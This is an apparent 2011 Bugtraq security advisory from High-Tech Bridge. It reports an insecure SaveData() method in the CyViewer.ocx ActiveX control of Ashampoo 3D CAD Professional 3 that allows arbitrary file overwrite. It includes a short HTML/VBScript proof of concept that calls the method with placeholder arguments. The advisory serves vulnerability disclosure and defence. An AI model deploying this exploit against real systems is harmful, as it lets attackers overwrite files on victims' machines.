bugtraq - Ashampoo 3D CAD Professional 3 ActiveX control Insecure Method

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Message-ID: <201106281614.p5SGEL2d083587@htbridge.ch>
Date: Tue, 28 Jun 2011 18:14:21 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: Ashampoo 3D CAD Professional 3 ActiveX control Insecure Method

Vulnerability ID: HTB23019
Reference: http://www.htbridge.ch/advisory/ashampoo_3d_cad_professional_3_activex_control_insecure_method.html
Product: Ashampoo 3D CAD Professional 3
Vendor: Ashampoo GmbH &amp; Co ( http://www.ashampoo.com ) 
Vulnerable Version: 3.0.1 and probably prior
Tested on: 3.0.1
Vendor Notification: 07 June 2011 
Vulnerability Type: Insecure Method
Risk level: High 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in Ashampoo 3D CAD Professional 3 ActiveX control, which can be exploited to overwrite arbitrary files.

The vulnerability is caused due to the Cygnicon.ViewControl.1 (CyViewer.ocx) ActiveX control including the insecure "SaveData()" method. This can be exploited to rewrite arbitrary files in the context of the currently logged-on user.

The following PoC code is available:

<html>
<object classid='clsid:A6FC2988-16BE-4053-BE89-F562431FD6ED' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_create"
arg2="Data"
target.SaveData arg1 ,arg2 
End Sub

</script>
</html>